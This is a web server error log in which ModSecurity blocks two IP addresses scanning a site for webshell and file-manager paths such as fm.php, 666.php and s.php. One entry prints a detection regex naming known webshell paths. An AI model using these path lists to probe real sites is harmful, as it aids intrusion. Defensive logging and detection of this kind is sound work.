[Wed Apr 15 19:13:26.587149 2026] [:error] [pid 31053:tid 31056] [client 20.215.250.56:48712] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9y1hcEkLCmvF0fjDepKgAAAIA"]
[Wed Apr 15 19:13:26.925467 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:5500] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad9y1hcEkLCmvF0fjDepKwAAAIU"]
[Wed Apr 15 19:13:27.529399 2026] [:error] [pid 30958:tid 31033] [client 51.120.68.159:5473] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad9y18eG3wSKTO7NWFGLQwAAANE"]
[Wed Apr 15 19:13:28.131969 2026] [:error] [pid 31053:tid 31060] [client 20.215.250.56:9690] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9y2BcEkLCmvF0fjDepLgAAAIQ"]
[Wed Apr 15 19:13:28.310893 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:35751] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad9y2BcEkLCmvF0fjDepLwAAAII"]
[Wed Apr 15 19:13:28.876694 2026] [:error] [pid 31053:tid 31064] [client 20.215.250.56:16446] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9y2BcEkLCmvF0fjDepNAAAAIg"]
[Wed Apr 15 19:13:29.070312 2026] [:error] [pid 37370:tid 37396] [client 51.120.68.159:19063] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad9y2Xg-gnM2Ga0cGAABPgAAARg"]
[Wed Apr 15 19:13:29.923353 2026] [:error] [pid 31053:tid 31072] [client 51.120.68.159:20815] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad9y2RcEkLCmvF0fjDepNQAAAJA"]
[Wed Apr 15 19:13:30.002073 2026] [:error] [pid 37370:tid 37377] [client 20.215.250.56:46943] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9y2ng-gnM2Ga0cGAABPwAAAQU"]
[Wed Apr 15 19:13:30.496443 2026] [:error] [pid 30958:tid 31035] [client 51.120.68.159:27553] [client 51.120.68.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad9y2seG3wSKTO7NWFGLRQAAANM"]
[Wed Apr 15 19:13:31.016610 2026] [:error] [pid 30958:tid 31019] [client 51.120.68.159:5453] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad9y28eG3wSKTO7NWFGLRwAAAMM"]
[Wed Apr 15 19:13:31.149010 2026] [:error] [pid 37370:tid 37376] [client 20.215.250.56:12026] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9y23g-gnM2Ga0cGAABQQAAAQQ"]
[Wed Apr 15 19:13:31.551025 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:8517] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad9y23g-gnM2Ga0cGAABRQAAAQI"]
[Wed Apr 15 19:13:32.113175 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:39699] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad9y3BcEkLCmvF0fjDepOQAAAIA"]
[Wed Apr 15 19:13:32.302018 2026] [:error] [pid 31053:tid 31061] [client 20.215.250.56:35666] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9y3BcEkLCmvF0fjDepOgAAAIU"]
[Wed Apr 15 19:13:32.682484 2026] [:error] [pid 30957:tid 31001] [client 51.120.68.159:32479] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9y3H5gwVEVXHfVSipusQAAAEw"]
[Wed Apr 15 19:13:33.496947 2026] [:error] [pid 37370:tid 37391] [client 20.215.250.56:20336] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9y3Xg-gnM2Ga0cGAABSwAAARM"]
[Wed Apr 15 19:13:33.501573 2026] [:error] [pid 31053:tid 31060] [client 51.120.68.159:5526] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9y3RcEkLCmvF0fjDepOwAAAIQ"]
[Wed Apr 15 19:13:34.100265 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:27541] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9y3ng-gnM2Ga0cGAABTAAAARQ"]
[Wed Apr 15 19:13:34.662541 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:35733] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mk.php"] [unique_id "ad9y3hcEkLCmvF0fjDepPgAAAIg"]
[Wed Apr 15 19:13:35.481493 2026] [:error] [pid 31053:tid 31078] [client 20.215.250.56:11602] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9y3xcEkLCmvF0fjDepQgAAAJY"]
[Wed Apr 15 19:13:36.371352 2026] [:error] [pid 30956:tid 30969] [client 20.215.250.56:38835] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9y4EBGUpjaWntNYq1flwAAAAk"]
[Wed Apr 15 19:13:37.252681 2026] [:error] [pid 30958:tid 31019] [client 20.215.250.56:15323] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9y4ceG3wSKTO7NWFGLWAAAAMM"]
[Wed Apr 15 19:13:38.297891 2026] [:error] [pid 37370:tid 37394] [client 20.215.250.56:38802] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9y4ng-gnM2Ga0cGAABaQAAARY"]
[Wed Apr 15 19:13:39.673072 2026] [:error] [pid 30957:tid 30992] [client 20.215.250.56:16865] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9y435gwVEVXHfVSipuzwAAAEM"]
[Wed Apr 15 19:13:42.787014 2026] [:error] [pid 37370:tid 37378] [client 20.215.250.56:38843] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9y5ng-gnM2Ga0cGAABegAAAQY"]
[Wed Apr 15 19:13:44.885647 2026] [:error] [pid 30958:tid 31028] [client 20.215.250.56:27713] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9y6MeG3wSKTO7NWFGLZwAAAMw"]
[Wed Apr 15 19:13:46.835959 2026] [:error] [pid 37370:tid 37384] [client 20.215.250.56:36278] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9y6ng-gnM2Ga0cGAABjwAAAQw"]
[Wed Apr 15 19:13:49.464109 2026] [:error] [pid 37370:tid 37392] [client 20.215.250.56:13489] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9y7Xg-gnM2Ga0cGAABnAAAARQ"]
[Wed Apr 15 19:13:50.964526 2026] [:error] [pid 31053:tid 31061] [client 20.215.250.56:13550] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9y7hcEkLCmvF0fjDepUgAAAIU"]
[Wed Apr 15 19:13:52.217440 2026] [:error] [pid 30958:tid 31016] [client 20.215.250.56:15286] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9y8MeG3wSKTO7NWFGLcAAAAMA"]
[Wed Apr 15 19:13:53.442137 2026] [:error] [pid 37370:tid 37375] [client 20.215.250.56:22866] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9y8Xg-gnM2Ga0cGAABqQAAAQM"]
[Wed Apr 15 19:13:54.619788 2026] [:error] [pid 37370:tid 37391] [client 20.215.250.56:35699] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9y8ng-gnM2Ga0cGAABrQAAARM"]
[Wed Apr 15 19:13:56.906013 2026] [proxy_fcgi:error] [pid 30956:tid 30982] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:57.166474 2026] [proxy_fcgi:error] [pid 30956:tid 30964] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:57.425294 2026] [proxy_fcgi:error] [pid 30956:tid 30965] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:57.685449 2026] [proxy_fcgi:error] [pid 30956:tid 30972] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:58.026301 2026] [proxy_fcgi:error] [pid 30956:tid 30962] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:58.330102 2026] [proxy_fcgi:error] [pid 30956:tid 30974] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:58.709183 2026] [proxy_fcgi:error] [pid 30956:tid 30983] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:58.969729 2026] [proxy_fcgi:error] [pid 30956:tid 30960] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:59.312088 2026] [proxy_fcgi:error] [pid 30956:tid 30966] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:59.571096 2026] [proxy_fcgi:error] [pid 30956:tid 30984] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:13:59.917204 2026] [proxy_fcgi:error] [pid 30956:tid 30980] [client 20.215.250.56:22902] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:14:00.236073 2026] [:error] [pid 30956:tid 30975] [client 20.215.250.56:22902] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9y-EBGUpjaWntNYq1fuwAAAA8"]
[Wed Apr 15 19:14:00.958200 2026] [:error] [pid 37370:tid 37388] [client 20.215.250.56:8464] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9y-Hg-gnM2Ga0cGAABvAAAARA"]
[Wed Apr 15 19:14:01.799083 2026] [:error] [pid 37370:tid 37384] [client 20.215.250.56:9245] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9y-Xg-gnM2Ga0cGAABvgAAAQw"]
[Wed Apr 15 19:14:02.346663 2026] [:error] [pid 37370:tid 37374] [client 20.215.250.56:5024] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9y-ng-gnM2Ga0cGAABxAAAAQI"]
[Wed Apr 15 19:14:03.250930 2026] [:error] [pid 30958:tid 31019] [client 20.215.250.56:4815] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9y-8eG3wSKTO7NWFGLhwAAAMM"]
[Wed Apr 15 19:14:04.303106 2026] [:error] [pid 37370:tid 37395] [client 20.215.250.56:34955] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9y_Hg-gnM2Ga0cGAAByQAAARc"]
[Wed Apr 15 19:14:05.400584 2026] [:error] [pid 30958:tid 31040] [client 20.215.250.56:22866] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9y_ceG3wSKTO7NWFGLiwAAANg"]
[Wed Apr 15 19:14:06.396741 2026] [:error] [pid 30956:tid 30981] [client 20.215.250.56:15311] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9y_kBGUpjaWntNYq1fvQAAABU"]
[Wed Apr 15 19:14:07.601925 2026] [:error] [pid 30958:tid 31024] [client 20.215.250.56:26986] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9y_8eG3wSKTO7NWFGLlQAAAMg"]
[Wed Apr 15 19:14:08.587926 2026] [:error] [pid 37370:tid 37380] [client 20.215.250.56:15314] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9zAHg-gnM2Ga0cGAAB0AAAAQg"]
[Wed Apr 15 19:14:09.255250 2026] [:error] [pid 30957:tid 31003] [client 20.215.250.56:23567] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9zAX5gwVEVXHfVSipvDAAAAE4"]
[Wed Apr 15 19:14:09.828791 2026] [:error] [pid 37370:tid 37372] [client 20.215.250.56:11977] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9zAXg-gnM2Ga0cGAAB3wAAAQA"]
[Wed Apr 15 19:14:10.401843 2026] [:error] [pid 31053:tid 31057] [client 20.215.250.56:37593] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9zAhcEkLCmvF0fjDepbwAAAIE"]
[Wed Apr 15 19:14:11.009664 2026] [:error] [pid 37370:tid 37396] [client 20.215.250.56:53821] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9zA3g-gnM2Ga0cGAAB5QAAARg"]
[Wed Apr 15 19:14:11.705619 2026] [:error] [pid 37370:tid 37390] [client 20.215.250.56:50613] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9zA3g-gnM2Ga0cGAAB6QAAARI"]
[Wed Apr 15 19:14:12.447297 2026] [:error] [pid 30957:tid 31004] [client 20.215.250.56:45750] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9zBH5gwVEVXHfVSipvDQAAAE8"]
[Wed Apr 15 19:14:13.275844 2026] [:error] [pid 30956:tid 30974] [client 20.215.250.56:9246] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9zBUBGUpjaWntNYq1fwwAAAA4"]
[Wed Apr 15 19:14:14.073286 2026] [:error] [pid 37370:tid 37394] [client 20.215.250.56:59352] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9zBng-gnM2Ga0cGAAB8QAAARY"]
[Wed Apr 15 19:14:14.737267 2026] [:error] [pid 37370:tid 37374] [client 20.215.250.56:13496] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9zBng-gnM2Ga0cGAAB8gAAAQI"]
